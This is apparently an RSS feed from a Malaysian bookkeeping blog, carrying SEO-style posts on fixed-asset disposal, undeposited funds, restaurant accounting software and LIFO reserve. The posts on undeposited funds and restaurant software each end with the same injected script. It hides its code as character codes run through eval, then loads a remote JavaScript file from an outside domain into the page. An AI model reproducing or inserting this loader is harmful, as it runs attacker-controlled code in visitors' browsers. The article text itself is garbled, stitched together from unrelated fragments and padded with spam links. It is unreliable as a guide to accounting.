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	<title>Bookkeeping Archives - Diya Trends Malaysia</title>
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	<title>Bookkeeping Archives - Diya Trends Malaysia</title>
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	<item>
		<title>Disposal of Property, Plant or Equipment</title>
		<link>https://diyatrends.my/disposal-of-property-plant-or-equipment/</link>
					<comments>https://diyatrends.my/disposal-of-property-plant-or-equipment/#respond</comments>
		
		<dc:creator><![CDATA[Diya Trends Malaysia]]></dc:creator>
		<pubDate>Fri, 24 Jun 2022 17:08:39 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://diyatrends.my/?p=19201</guid>

					<description><![CDATA[<p>The company must take out a loan for $13,000 to cover the $40,000 cost. To record the transaction, debit Accumulated</p>
<p>The post <a rel="nofollow" href="https://diyatrends.my/disposal-of-property-plant-or-equipment/">Disposal of Property, Plant or Equipment</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The company must take out a loan for $13,000 to cover the $40,000 cost. To record the transaction, debit Accumulated Depreciation for its $28,000 credit balance and credit Truck for its $35,000 debit balance. It is fully depreciated after five years of ownership since its Accumulated Depreciation credit balance is also $35,000. A company may no longer need a fixed asset that it owns, or an asset may have become obsolete or inefficient. Prior to discussing disposals, the concepts of gain and loss need to be clarified. As a result, a loss of $2,000 ($10,000 book value less $8,000 trade-in allowance) is both realized and recognized.</p>
<ul>
<li>When there is a loss on the sale of a fixed asset, debit cash for the amount received, debit all accumulated depreciation, debit the loss on sale of asset account, and credit the fixed asset.</li>
<li>If a fixed asset is disposed of during the year, an additional adjusting entry for depreciation on the date of disposal must be journalized to bring the accumulated depreciation balance and book value up to date.</li>
<li>The asset’s book value on 10/1 of the fourth year is $1,500 ($6,000 &#8211; $4,500).</li>
<li>The adjusting entry for depreciation is normally made on 12/31 of each calendar year.</li>
</ul>
<p>Conversely, a loss occurs if the consideration received is less than the asset&#8217;s book value at the time of sale. In this article, these concepts are explained by demonstrating the accounting for the sale <a href="https://accounting-services.net/bookkeeping-pomona/">https://accounting-services.net/bookkeeping-pomona/</a> and trade-in of plant assets. Motors Inc. estimated the machinery’s useful life to be three years. At the end of the third year, the machinery is fully depreciated, and the asset must be disposed of.</p>
<h2>Deloitte comment letter on tentative agenda decision on IFRS 5 — Various IFRS 5-related issues</h2>
<p>Stitch Co. equipment used to make the t-shirts and other clothing products. After assessing the damage, Stitch Company maintenance staff has confirmed that it would be cheaper. In addition it would be more efficient for production to sell and replace the equipment.</p>
<div itemScope itemProp="mainEntity" itemType="https://schema.org/Question">
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<h3>Is loss on sale of equipment an asset or liability?</h3>
</div>
<div itemScope itemProp="acceptedAnswer" itemType="https://schema.org/Answer">
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<p>In the financial statements, the loss on the sale of equipment belongs to the losses category. The equipment is used for the manufacturing process of the business enterprise and the losses on sale of equipment are considered as the loss of the firm. They are the fixed assets of the institution.</p>
</div></div>
</div>
<p>For example, assume the same facts in the previous example, but now the dealer offers a trade-in allowance of only $8,000, which is now assumed to be equal to the asset&#8217;s fair market value. Depreciable assets such as automobiles, computers, and photocopy machines are often traded in for new assets of a similar kind. CFI’s Course Accounting Fundamentals&nbsp;shows <a href="https://accounting-services.net/loss-on-sale-of-equipment-definition-and-meaning/">loss on sale of equipment definition and meaning</a> you how to construct the three fundamental financial statements. Our goal is to deliver the most understandable and comprehensive explanations of financial topics using simple writing complemented by helpful graphics and animation videos. In most cases, the trade-in allowance on the asset might be considerably different from its book value.</p>
<h2>Selling a Fixed Asset</h2>
<p>The asset’s book value on 10/1 of the fourth year is $1,500 ($6,000 &#8211; $4,500). The asset’s book value on 4/1 of the fourth year is $2,100 ($6,000 &#8211; $3,900). Harold Averkamp (CPA, MBA) has worked as a university accounting instructor, accountant, and consultant for more than 25 years. He is the sole author of all the materials on AccountingCoach.com.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://accounting-services.net/wp-content/uploads/2020/10/image-7VGlM630odCE2qwh.png" width="259px" alt="loss on sale of equipment definition and meaning"/></p>
<p>An asset can be sold during its useful life when it has a positive book value or at the end of its life when it is fully depreciated. Depreciation must be recorded up to the date of disposal and, where appropriate, a gain or loss must be recorded on the disposal. Motors Inc. owns a machinery asset on its balance sheet worth $3,000. Let’s consider the following example to analyze the different situations that require an asset disposal. The journal entries required to record the disposal of an asset depend on the situation in which the event occurs. However, care must be exercised when using a trade-in allowance to measure a gain or loss on this type of transaction.</p>
<h2>We comment on a number of tentative agenda decisions of the IFRS Interpretations Committee</h2>
<p>When there is a gain on the sale of a fixed asset, debit cash for the amount received, debit all accumulated depreciation, credit the fixed asset, and credit the gain on sale of asset account. When there is a loss on the sale of a fixed asset, debit cash for the amount received, debit all accumulated depreciation, debit the loss on sale of asset account, and credit the fixed asset. The equipment will be disposed of (discarded, sold, or traded in) on 4/1 in the fourth year, which is three months after the last annual adjusting entry was journalized. The first step is to journalize an additional adjusting entry on 4/1 to capture the additional three months’ depreciation. Since the annual depreciation amount is $1,200, the asset depreciates at a rate of $100 a month, for a total of $300.</p>
<p>The following journal entry shows a typical transaction where a fixed asset is being eliminated. The asset has an original cost of $10,000 and accumulated depreciation of $8,000. IFRS 5 Non-current Assets Held for Sale and Discontinued Operations outlines how to account for non-current assets held for sale (or for distribution to owners). Specific disclosures are also required for discontinued operations and disposals of non-current assets.</p>
<h2>Controlling and Reporting of Real Assets: Property, Plant, Equipment, and Natural Resources</h2>
<p>Partial-year depreciation to update the truck’s book value at the time of trade- in could also result in a loss or break-even situation. A company may dispose of a fixed asset by trading it in for a similar asset. This must be supplemented by a cash payment and possibly by a loan. The company receives a trade-in allowance for the old asset that may be applied toward the purchase of the new asset. To record the transaction, debit Accumulated Depreciation for its $35,000 credit balance and credit Truck for its $35,000 debit balance. When a fixed asset that does not have a residual value is fully depreciated, its cost equals its Accumulated Depreciation balance and its book value is zero.</p>
<div itemScope itemProp="mainEntity" itemType="https://schema.org/Question">
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<h3>What is loss on sale of asset known as?</h3>
</div>
<div itemScope itemProp="acceptedAnswer" itemType="https://schema.org/Answer">
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<p>So, the loss in the market value of an asset is known as a decline.</p>
</div></div>
</div>
<p>The company recognizes a gain if the cash or trade-in allowance received is greater than the book value of the asset. Asset disposal is the act of selling an asset usually a long term asset that has been depreciated  over its useful life like production equipment. The fair market value of pp&amp;e is typically determined by an independent appraisal. This appraisal will take into account a number of factors, including the age and condition of the asset, its current use, and the current market for similar assets. In many cases, plant assets are sold rather than disposed of for no value in return.</p>
<h2>Asset Disposal Definition</h2>
<p>When companies sell this equipment it gains a salvage value or residual value which can be a gain or a loss per the books. You must submit his gain or loss for disposal assets accounting on the income statement as a part of net income. It should also be noted that the company will need to reduce the amount of value left with the asset if it was not reduced to zero per depreciation. A similar situation arises when a company disposes of a fixed asset during a calendar year. The adjusting entry for depreciation is normally made on 12/31 of each calendar year. If a fixed asset is disposed of during the year, an additional adjusting entry for depreciation on the date of disposal must be journalized to bring the accumulated depreciation balance and book value up to date.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://accounting-services.net/wp-content/uploads/2020/10/image-QRH5iW0qJ2KcGxTB.png" width="251px" alt="loss on sale of equipment definition and meaning"/></p>
<p>Thus, a cash payment of $51,000 ($65,000 — $14,000) is made for the difference. Dealers such as automobile companies often set an unrealistically high list price in order to offer the customer an inflated trade-in allowance. If the trade-in allowance exceeds the asset&#8217;s book value, this will lead to gain. Conversely, if the trade-in allowance is less than the asset&#8217;s book value, a loss will occur. However, in most cases, assets are sold or otherwise disposed of at various dates throughout the year.  Its cost can be covered by several forms of payment combined, such as a trade-in allowance + cash + a note payable.</p>
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<p>The post <a rel="nofollow" href="https://diyatrends.my/disposal-of-property-plant-or-equipment/">Disposal of Property, Plant or Equipment</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
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		<title>Undeposited funds Accounting and Bookkeeping</title>
		<link>https://diyatrends.my/undeposited-funds-accounting-and-bookkeeping/</link>
					<comments>https://diyatrends.my/undeposited-funds-accounting-and-bookkeeping/#respond</comments>
		
		<dc:creator><![CDATA[Diya Trends Malaysia]]></dc:creator>
		<pubDate>Tue, 31 May 2022 14:46:09 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://diyatrends.my/?p=18998</guid>

					<description><![CDATA[<p>Contents: How do I record undeposited funds in MYOB? Related Posts Select a Country View the Undeposited Funds Register A</p>
<p>The post <a rel="nofollow" href="https://diyatrends.my/undeposited-funds-accounting-and-bookkeeping/">Undeposited funds Accounting and Bookkeeping</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="toc" style="background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;">
<p class="toctitle" style="font-weight: 700;text-align: center;">Contents:</p>
<ul class="toc_list">
<li><a href="#toc-0">How do I record undeposited funds in MYOB?</a></li>
<li><a href="#toc-1">Related Posts</a></li>
<li><a href="#toc-2">Select a Country</a></li>
<li><a href="#toc-3">View the Undeposited Funds Register</a></li>
</ul>
</div>
<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://1investing.in/wp-content/uploads/2019/06/definition-of-cash-reserve-ratio_2.png" width="303px" alt="i’m"/><br />
<img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://1investing.in/wp-content/uploads/2019/09/what-is-the-definition-of-gamification-and-what_2.jpg" width="305px" alt="chart of accounts"/></p>
<p>A summary account of temporary investments held for the production of revenue . Bank Rules in QuickbooksDo you know how to make bank rules in Quickbooks? Most users are not aware that they can delete the payroll liability adjustment in QBs. Outsourcing your bookkeeping is more affordable than you would  think.</p>
<p>Deleting a deposit has no impact on the transaction in step #1. If you want to alter the amount of money put into undeposited funds, you have to edit or delete the payment transaction (which requires deleting the deposit, the step #2 transaction). First, you should generate a balance sheet and see if it shows funds in the undeposited funds account.</p>
<h2 id="toc-0">How do I record undeposited funds in MYOB?</h2>
<p>Most of our payments are in undeposited funds but when I go to the make deposits screen, they are not there to check and make a deposit. As a general rule, you want to have your invoicing and payment processes under the same roof. If you use a service that handles invoicing and credit memos outside of QB, the best approach is to record customer payments there. Then, you only transfer revenue and collections to QB; the other system maintains your A/R. When you deviate from that setup, you create the problem you described.</p>
<p>But, the balances from the donations/contributions still remain in the undeposited funds account and did not transfer to the specified bank account. How do I clear the undeposited funds account and have the money transfer to the specified bank account? Asya – A problem can occur with QB Online Edition if your banking function automatically imports payment transactions before you’ve recorded payments.</p>
<h2 id="toc-1">Related Posts</h2>
<p>We have been unable to figure out how to do this so that the person billing gets full <a href="https://1investing.in/the-3-main-ways-to-create-multiple-sources-of/">multiple streams of income</a> for the total invoice and the client gets a bill for just the amount due. Been running tests using the various set-ups this morning and agree I have to choose between the 2 programs. Since I need to bill with full trust accounting, Timeslips gets the nod.</p>
<ul>
<li>As I selected the invoices that apply to a specific deposit, QB kept choosing the ‘Undeposited Funds’ account.</li>
<li>Credited when a sale is completed, debited if reversing entries are added when a sale is canceled.</li>
<li>The “Receivable Journal Summary” report shows Undeposited Payments as the difference between payments received and deposits closed during the dates you select.</li>
</ul>
<p>The technical accounting of this procedure is credit accounts receivable and debit undeposited funds. I’m also confused by the fact that rental income was deducted in your check register. Your item (either a service item or a non-inventory item) has to point to a revenue account, in this case rental income. When you generate a sales receipt, undeposited funds are debited , and the items on the sales receipt are credited. Since these credits normally go to income accounts, your income goes up. If you set up your item to point to your bank account, the credit would go to your bank account, which would be an incorrect result.</p>
<h2 id="toc-2">Select a Country</h2>
<p>One alternative is to use your bank’s separate online banking feature to discover customer payments before attempting to download them using QB Online. Therefore, which transaction you use depends on how you generate sales for your donors. If you generate an Invoice in advance, deliver it to the donor, and then it is paid, you’ll want to see if your online e-commerce software can process Payment transactions. If it can, these payments would show up as unapplied in each donor’s account in the Customer Center. Gina – It’s not so much the “complicated” way of doing things as it is keeping books separate and accurate.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://1investing.in/wp-content/uploads/2020/03/covid-19-support-on-negotiating-time-to-pay_1.jpg" width="307px" alt="quickbooks online"/></p>
<p>Shows interest due from private persons on property tax payments made by the State. These receivables are secured by liens against real property. Shows amounts due from private persons or organizations that are not applicable to any other general ledger receivables account. It is used to record  receivables applicable to reverted appropriations. Shows revenue receivable from private persons or organizations which when collected will be remitted to the State Treasury to the credit of a fund but not an appropriation.</p>
<h2 id="toc-3">View the Undeposited Funds Register</h2>
<p>A sales receipt is just like an invoice that is paid in full when it’s issued, so it combines the step of creating the invoice and receiving the payment. You don’t say how you managed to reconcile your bank account. If funds were deposited into your undeposited funds account, you would have had to make deposits to get them out of undeposited funds and into your bank account. You’d have to review the entries you made to reconcile your bank account, because it’s likely those were incorrect. The problem occurs when the money is entered one day and the deposit is made on a different day.</p>
<div style='border: grey dashed 1px;padding: 13px;'>
<h3>How to Calculate the Quick Ratio (+Examples) &#8211; The Motley Fool</h3>
<p>How to Calculate the Quick Ratio (+Examples).</p>
<p>Posted: Fri, 05 Aug 2022 07:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMiT2h0dHBzOi8vd3d3LmZvb2wuY29tL3RoZS1hc2NlbnQvc21hbGwtYnVzaW5lc3MvYWNjb3VudGluZy9hcnRpY2xlcy9xdWljay1yYXRpby_SAQA?oc=5' rel="nofollow">source</a>]</p>
</div>
<p>For example, unrestricted checking accounts are also reported as cash. They are payments you have collected, but not yet deposited in the bank. Typically, this is the total of cash and checks sitting in your cash drawer waiting to be deposited. Post the payments against sales receipts or invoices as applicable. Ask the client for deposit slips, or see if you can match the deposit to multiple A/R collections. Alternatively, some clients use the Deposit function for revenue they have collected without having posted a sales invoice.</p>
<h2 id="toc-4">Steps to Clear out Undeposited Funds</h2>
<p>However, when I sit down to do the Bank Reconciliation my bank balance first of all is negative and the Deposits versus Credits sections is off by right around the total of Undeposited funds. As an alternative, I started using the Transfer Funds screen and I transfer the actual deposit amount from Undeposited Funds to my bank account when the money hits. This results in more difficult tracking and it also means that when I do go into the “Make Deposits” window, there are tons of “Receipts” and “Transfers” listed there. You indicate that customer payments you download are being coded as payments instead of deposits. The Undeposited funds account is increasing, so the payments are coming through from Bill.com to QB. Since you can track sales by item, you can even send all of your revenue items to a single GL account and review sales by item to track your multiple sources of income.</p>
<ul>
<li>However, Extra Undeposited Money can be an Indication that the Business is Not in Good Health.</li>
<li>A good way to troubleshoot problems like this is to print a balance sheet with a date after your latest transaction.</li>
<li>If you want to see what makes up this amount, there are several reports.</li>
</ul>
<p>A summary account of inventory used for financial reporting purposes . ACCOUNT NUMBER 1750, Prepayments to Non-Governmental Entities Shows advance payments made to non-governmental entities. ACCOUNT NUMBER 1749, Prepayments to Other Governmental Entities Shows advance payments made to other governmental entities. Shows amounts due from private persons for property tax paid by the State on behalf of individuals. Fill in the rest of the information about the customer payment.</p>
<p>It is not related to current payments waiting to be deposited. If your sales from the 1st to the 9th were $3327.90, you could enter daily sales receipts, then you’d be able to choose the receipts to get a deposit that would be closer to $3000. Note it would not equal $3000 exactly, unless your sales receipts for a group of days equals $3000 exactly. Create a new service item called “Retainer” which points to your “Customer Retainer” account.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://1investing.in/wp-content/uploads/2021/12/forex_featured015-300x200.jpg" width="304px" alt="undeposited funds account"/></p>
<p>You’ll have to closely examine how your POS and merchant accounts handle batches, and contact them both to see if they can sync perfectly. Sometimes, you can’t get perfection, but you can get pretty close. For those situations, we’ve sometimes set up a POS clearing bank account, and had the POS system send summarized sales transactions to that clearing account.</p>
<div style='border: grey dotted 1px;padding: 15px;'>
<h3>Follow Job Alerts by AlimoshoToday to get daily job vacancies in &#8230; &#8211; AlimoshoToday.com</h3>
<p>Follow Job Alerts by AlimoshoToday to get daily job vacancies in &#8230;.</p>
<p>Posted: Thu, 12 Jan 2023 08:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMiiAFodHRwczovL3d3dy5hbGltb3Nob3RvZGF5LmNvbS9qb2ItYWxlcnRzL2ZvbGxvdy1qb2ItYWxlcnRzLWJ5LWFsaW1vc2hvdG9kYXktdG8tZ2V0LWRhaWx5LWpvYi12YWNhbmNpZXMtaW4tbGFnb3MtYW5kLWl0cy1lbnZpcm9ucy02MzY2OTQ10gEA?oc=5' rel="nofollow">source</a>]</p>
</div>
<p>On the other hand, your bank statement will show a deposit of $125. Once you follow the above steps correctly, you would have successfully recorded your payments as undeposited funds. First, find your customer with an open invoice in QuickBooks.</p>
<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script></p>
<p>The post <a rel="nofollow" href="https://diyatrends.my/undeposited-funds-accounting-and-bookkeeping/">Undeposited funds Accounting and Bookkeeping</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
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		<title>Free Restaurant Accounting Software Wave Financial</title>
		<link>https://diyatrends.my/free-restaurant-accounting-software-wave-financial/</link>
					<comments>https://diyatrends.my/free-restaurant-accounting-software-wave-financial/#respond</comments>
		
		<dc:creator><![CDATA[Diya Trends Malaysia]]></dc:creator>
		<pubDate>Fri, 01 Apr 2022 09:07:24 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://diyatrends.my/?p=19001</guid>

					<description><![CDATA[<p>Content Accounting Reports to Prepare Zoho Books (affordable restaurant accounting system for cafe restaurants) What is Restaurant Accounting Software What</p>
<p>The post <a rel="nofollow" href="https://diyatrends.my/free-restaurant-accounting-software-wave-financial/">Free Restaurant Accounting Software Wave Financial</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
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										<content:encoded><![CDATA[<div id="toc" style="background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;">
<p class="toctitle" style="font-weight: 700;text-align: center;">Content</p>
<ul class="toc_list">
<li><a href="#toc-0">Accounting Reports to Prepare</a></li>
<li><a href="#toc-1">Zoho Books (affordable restaurant accounting system for cafe restaurants)</a></li>
<li><a href="#toc-2">What is Restaurant Accounting Software</a></li>
<li><a href="#toc-3">What Is Accounting in Restaurant?</a></li>
<li><a href="#toc-6">For restaurants, what is included in COGS?</a></li>
</ul>
</div>
<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2022/07/accounting-in-california-bookkeeping-and-tax-services-scaled-1.webp" width="250px" alt="restaurant accounting system"/></p>
<p>You can also get accounting software and modify it for restaurant accounting. Choosing accounting systems for restaurants can help you eliminate the difficulty with restaurant accounting and help you manage your food costs easily. These systems include financial software and point of sale systems to help you quickly organize inventory counts and execute transactions.</p>
<ul>
<li>Restaurant365 starts at $249/month for basic financial management capabilities.</li>
<li>Is basic accounting software that can be used for any industry – including restaurants.</li>
<li>The $12/month plan is called Early and includes 20 invoices, five bill entries, reconciles bank transactions and captures bills and receipts.</li>
<li>Here are our nine tips to get you up and running with basic hotel and restaurant accounting.</li>
<li>In turn, this allows your management team to understand what’s working and what’s not, empowering them to make more informed decisions about investments, expenses, and growth.</li>
</ul>
<p>Scheduling and payroll integrations include Push Operations and 7Shifts. It also integrates with Avero, which is a business insight and analytics software. Since you’re busy running your restaurant, we’ve reviewed restaurant accounting software to help save you time on the research. <a href="https://www.bookstime.com/articles/restaurant-bookkeeping">restaurant bookkeeping</a> Wave uses authentic double entry accounting software, so it’s easy to hand off year-end reports to your accountant at tax time. You can also add your accountant as a limited user so they can securely access the information they need, freeing up even more of your time.</p>
<h2 id="toc-0">Accounting Reports to Prepare</h2>
<p>Many find using QuickBooks for restaurants is an effective recording system. WeSuggestSoftware.com is one of the leading business software reviews and comparison provider worldwide with more than 30000+ listing from 350 business software categories. Our website provides detailed reviews, comparisons and research to help organizations choose the right software.</p>
<div style='text-align:center'><iframe width='569' height='319' src='https://www.youtube.com/embed/lGSrDaQJTWg' frameborder='0' alt='restaurant accounting system' allowfullscreen></iframe></div>
<p>“Cost of goods sold” refers to the products you buy that make up your product. And in the restaurant business, it’s no secret that, in order to make food, you’ll have to buy ingredients. A few notable restaurant accounts payable services that are worth mentioning are XtraChef by Toast, MarginEdge, and PlateIQ. If you want to automate all the above steps to create a daily sales journal in QBO we highly recommend taking a look at Shogo. We have been using Shogo for years to automatically create the daily sales journal from various restaurant POS systems to QBO. For a restaurant that already has a trained accountant, or is just looking for tax deductions for restaurant owners, it&#8217;s crucial that the books are already up-to-date.</p>
<h2 id="toc-1">Zoho Books (affordable restaurant accounting system for cafe restaurants)</h2>
<p>TouchBistro is a restaurant point of sale system with basic accounting functionality. Run financial reports to get a snapshot of daily sales, cash flow, menu item profitability, and staff member sales. Additional features include tableside ordering, table management, payment processing, staff scheduling and time tracking, customer relationship management, and inventory management.</p>
<div itemScope itemProp="mainEntity" itemType="https://schema.org/Question">
<div itemProp="name">
<h3>What do restaurants use for accounting?</h3>
</div>
<div itemScope itemProp="acceptedAnswer" itemType="https://schema.org/Answer">
<div itemProp="text">
<p>While the accrual method is the best for restaurant, some tend to use cash-based accounting method. This can make your restaurant seem profitable while it may be making losses. To ensure you report the accurate financial status of the restaurant, always use accrual method.</p>
</div></div>
</div>
<p>Sign up with FreshBooks to save an average of 16 hours each month. Restaurants with less than $1 million in profits can choose between cash or accrual accounting. Restaurants with profits over $1 million should rely on the accrual method for accuracy  and insight. For example, if your restaurant has $3,000 worth of inventory on hand at the beginning of the week and purchases another $2,000 of food products, you have $5,000 worth of inventory.</p>
<h2 id="toc-2">What is Restaurant Accounting Software</h2>
<p>Keep your focus clear with knowledge-based planning, expert guidance, and  corporate compliance. Make smart business moves and grow with the continuous education from RASI’s hospitality industry resources. I just started selling beer so I wanted a logo cup in a specific size.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2022/07/multi-step-income-statement-example-and-how-to-create-300x200.webp" width="251px" alt="restaurant accounting system"/><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script></p>
<p>The post <a rel="nofollow" href="https://diyatrends.my/free-restaurant-accounting-software-wave-financial/">Free Restaurant Accounting Software Wave Financial</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
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		<title>LIFO Reserve Meaning and How to Calculate It</title>
		<link>https://diyatrends.my/lifo-reserve-meaning-and-how-to-calculate-it/</link>
					<comments>https://diyatrends.my/lifo-reserve-meaning-and-how-to-calculate-it/#respond</comments>
		
		<dc:creator><![CDATA[Diya Trends Malaysia]]></dc:creator>
		<pubDate>Thu, 17 Feb 2022 03:53:36 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://diyatrends.my/?p=19598</guid>

					<description><![CDATA[<p>Content Dollar-value LIFO What is the purpose of a LIFO reserve? Absorption Costing: Definition, Formula, Calculation, and Example Examples of</p>
<p>The post <a rel="nofollow" href="https://diyatrends.my/lifo-reserve-meaning-and-how-to-calculate-it/">LIFO Reserve Meaning and How to Calculate It</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="toc" style="background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;">
<p class="toctitle" style="font-weight: 700;text-align: center;">Content</p>
<ul class="toc_list">
<li><a href="#toc-0">Dollar-value LIFO</a></li>
<li><a href="#toc-1">What is the purpose of a LIFO reserve?</a></li>
<li><a href="#toc-2">Absorption Costing: Definition, Formula, Calculation, and Example</a></li>
<li><a href="#toc-6">Examples of LIFO Reserve in a sentence</a></li>
<li><a href="#toc-7">LIFO Liquidation</a></li>
</ul>
</div>
